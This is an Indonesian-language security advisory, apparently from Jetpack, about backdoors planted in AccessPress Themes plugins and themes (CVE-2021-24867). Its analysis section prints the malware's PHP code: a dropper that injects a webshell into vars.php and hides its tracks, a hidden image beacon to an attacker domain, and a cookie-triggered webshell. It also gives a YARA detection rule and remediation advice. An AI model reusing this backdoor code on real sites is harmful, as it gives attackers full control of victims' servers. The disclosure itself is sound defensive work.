Backdoor Ditemukan di Tema dan Plugin dari AccessPress Themes

Perbarui 1 Februari – Mengubah bagian "Tema yang terpengaruh" untuk mencerminkan bahwa versi baru dari tema mulai muncul.

Saat menyelidiki situs yang disusupi, kami menemukan beberapa kode mencurigakan dalam sebuah tema oleh AccessPress Themes (alias Access Keys), vendor dengan sejumlah besar tema dan plugin populer. Pada penyelidikan lebih lanjut, kami menemukan bahwa semua tema dan sebagian besar plugin dari vendor berisi kode yang mencurigakan ini, tetapi hanya jika diunduh dari situs web mereka sendiri. Ekstensi yang sama baik-baik saja jika diunduh atau diinstal langsung dari direktori WordPress.org.

Karena cara ekstensi disusupi, kami menduga penyerang eksternal telah melanggar situs web AccessPress Themes dalam upaya menggunakan ekstensi mereka untuk menginfeksi situs lebih lanjut.

Kami segera menghubungi vendor tersebut, namun pada awalnya kami tidak menerima tanggapan. Setelah mengeskalasikannya ke tim plugin WordPress.org, kecurigaan kami terbukti. Situs web AccessPress Themes dilanggar pada paruh pertama September 2021, dan ekstensi yang tersedia untuk diunduh di situs mereka disuntik dengan pintu belakang.

Setelah kami membuat saluran untuk berkomunikasi dengan vendor, kami membagikan temuan terperinci kami kepada mereka. Mereka segera menghapus ekstensi yang menyinggung dari situs web mereka.

Sebagian besar plugin telah diperbarui, dan versi bersih yang diketahui terdaftar di bagian bawah posting ini. Namun, tema yang terpengaruh belum diperbarui, dan diambil dari repositori tema WordPress.org. Jika Anda memiliki salah satu tema yang terdaftar di bagian bawah posting ini yang terpasang di situs Anda, kami sarankan untuk bermigrasi ke tema baru sesegera mungkin.

Pengungkapan ini menyangkut sejumlah besar ekstensi, baik plugin maupun tema. Lewati ke daftar di bawah ini, atau baca terus untuk detailnya.

Detail:

Vendor: AccessPress Tema
Url vendor: https://accesspressthemes.com
Plugin: banyak
Tema: banyak
CVE: CVE-2021-24867

Analisis:

Ekstensi yang terinfeksi berisi penetes untuk cangkang web yang memberi penyerang akses penuh ke situs yang terinfeksi. Dropper terletak di file inital.php terletak di plugin utama atau direktori tema. Saat dijalankan, instal webshell berbasis cookie di wp-includes/vars.php . Shell dipasang sebagai fungsi tepat di depan fungsi wp_is_mobile() dengan nama wp_is_mobile_fix() . Ini mungkin untuk tidak menimbulkan kecurigaan bagi siapa pun yang dengan santai menggulir file vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Setelah shell dipasang, penetes akan menelepon ke rumah dengan memuat gambar jarak jauh dari URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg dengan url situs yang terinfeksi dan informasi tentang tema mana yang digunakannya sebagai argumen kueri. Terakhir, ini akan menghapus file sumber penetes untuk menghindari deteksi saat permintaan selesai dieksekusi.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

Webshell itu sendiri terpicu jika string agen pengguna dalam permintaan adalah wp_is_mobile dan permintaan tersebut berisi delapan cookie tertentu. Ini menyatukan dan mengeksekusi muatan dari cookie yang disediakan ini.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Kami juga telah melihat varian lain, yang mungkin lebih tua, dari pintu belakang yang langsung disematkan di file functions.php tema/plugin. Varian ini menggunakan mekanisme yang sama dengan menyatukan muatan dari delapan cookie, tetapi tidak memfilter pada string agen pengguna permintaan.

Untuk memastikan dropper dijalankan, file plugin utama (untuk plugin) atau file functions.php (untuk tema) telah dimodifikasi dengan kode untuk mengeksekusi file inital.php jika ada.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Satu detail mencolok dari stempel waktu plugin yang disusupi adalah bahwa semuanya berasal dari awal September. Sebagian besar berasal dari 6 dan 7 September, dengan beberapa file dari 2 dan 3 September. Demikian pula untuk tema, semua dikompromikan pada 22 September, kecuali accessbuddy pada 9 September.

Juga, stempel waktu dalam arsip zip sangat seragam, dengan hampir semua file dengan stempel waktu yang sama persis, kecuali untuk file plugin utama yang dimodifikasi dan file penetes tambahan yang dicap beberapa menit kemudian (biasanya sekitar 2-5 menit setelahnya). file lain dalam arsip).

Namun, melihat stempel waktu untuk file zip yang diunduh dari repositori wordpress.org , kami menemukan distribusi stempel waktu yang sesuai dengan kapan plugin/tema benar-benar diperbarui. Distribusi stempel waktu dalam arsip juga kurang seragam dan mencerminkan file mana yang diperbarui dalam rilis, dan mana yang tidak berubah dari rilis yang lebih lama.

Ini menunjukkan kepada kami bahwa file dari situs web AccessPress Themes dimodifikasi dengan sengaja, dan sebagai tindakan terkoordinasi setelah awalnya dirilis. Kompromi tampaknya telah dilakukan dalam dua tahap, satu untuk plugin dan satu lagi untuk tema. Masing-masing dengan beberapa upaya sebelumnya, mungkin untuk menyempurnakan prosesnya.

Penyelidikan kami hanya melihat tema dan plugin yang tersedia secara bebas dari situs web AccessPress Themes. Kami berasumsi bahwa tema pro berbayar mereka terpengaruh dengan cara yang sama, tetapi kami belum memeriksanya. Jika Anda memiliki salah satu dari ini, silakan hubungi dukungan AccessPress Themes untuk saran lebih lanjut.

Tema yang terpengaruh

Jika Anda memiliki salah satu tema berikut dengan nomor versi di kolom Buruk yang terpasang di situs Anda, kami sarankan untuk segera memutakhirkan ke versi di kolom Bersih . Perlu dicatat bahwa tema yang diinstal melalui WordPress.org bersih, meskipun terdaftar di kolom Buruk . Kami masih menyarankan untuk meningkatkan ke versi bersih yang dikenal agar aman.

Tema tanpa nomor versi di kolom Bersihkan belum ditingkatkan versinya, dan kami sarankan untuk menggantinya dengan tema lain jika memungkinkan.

Plugin yang terpengaruh

Jika Anda memiliki salah satu plugin berikut dengan nomor versi di kolom Buruk yang terpasang di situs Anda, kami sarankan untuk segera memutakhirkan ke versi di kolom Bersih . Perlu dicatat bahwa plugin yang diinstal melalui WordPress.org bersih, bahkan jika mereka terdaftar di kolom Buruk . Kami masih menyarankan untuk meningkatkan ke versi bersih yang dikenal agar aman.

Plugin tanpa nomor versi di kolom Bersihkan belum ditingkatkan versinya, dan kami sarankan untuk menggantinya dengan plugin lain jika memungkinkan.

Catatan:

1. Plugin ini belum diperbarui, tetapi diyakini bersih karena versi di situs web AccessPress Themes adalah versi yang lebih lama.
2. Plugin ini belum diperbarui, tetapi diyakini bersih karena awalnya tidak tersedia di situs web AccessPress Themes.

IOC

Aturan YARA berikut dapat digunakan untuk memeriksa apakah situs telah terinfeksi. Ini akan mendeteksi bagian penetes infeksi serta webshell yang diinstal.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Rekomendasi

Jika Anda memiliki tema atau plugin yang diinstal langsung dari AccessPress Themes atau tempat lain selain WordPress.org, Anda harus segera meningkatkan versi ke versi yang aman seperti yang ditunjukkan pada tabel di atas. Jika tidak tersedia versi aman, ganti dengan versi terbaru dari WordPress.org.

Harap dicatat bahwa ini tidak menghapus pintu belakang dari sistem Anda, jadi Anda juga perlu menginstal ulang WordPress versi bersih untuk mengembalikan modifikasi file inti yang dilakukan selama pemasangan pintu belakang.

Jika Anda memiliki tema atau plugin berbayar dari AccessPress Themes/Access Keys, kami sarankan untuk menghubungi dukungan mereka untuk mendapatkan bantuan.

Kami sangat menyarankan Anda memiliki rencana keamanan untuk situs Anda yang mencakup pemindaian dan pencadangan file berbahaya. Jetpack Security adalah salah satu opsi keamanan WordPress yang bagus untuk memastikan situs dan pengunjung Anda aman. Jetpack Scan telah mendeteksi semua varian pintu belakang dan penetes ini sejak 30 September.

Linimasa

2021-09-22: Tim Jetpack Scan menemukan penetes dan pintu belakang dalam tema FotoGraphy, dan mencoba menghubungi vendor tentang temuan awal.

2021-09-27: Konfirmasikan keberadaan penetes + pintu belakang di semua plugin dan tema gratis saat ini yang diunduh dari situs web vendor.

2021-09-28: Konfirmasikan bahwa penetes + pintu belakang tidak ada pada unduhan dari wordpress.org

2021-09-29: Mencoba menghubungi vendor lagi, dengan pembaruan tentang temuan baru.

2021-10-14: Dieskalasi ke tim plugin WordPress untuk mencoba mendapatkan kontak dengan vendor.

2021-10-15: Ekstensi yang disusupi dihapus dari situs vendor.

2021-10-16: Tanggapan dari vendor

2022-01-17: Sebagian besar plugin telah ditingkatkan ke versi baru, tema telah ditarik dari WordPress.org.

2022-01-18 Pengungkapan publik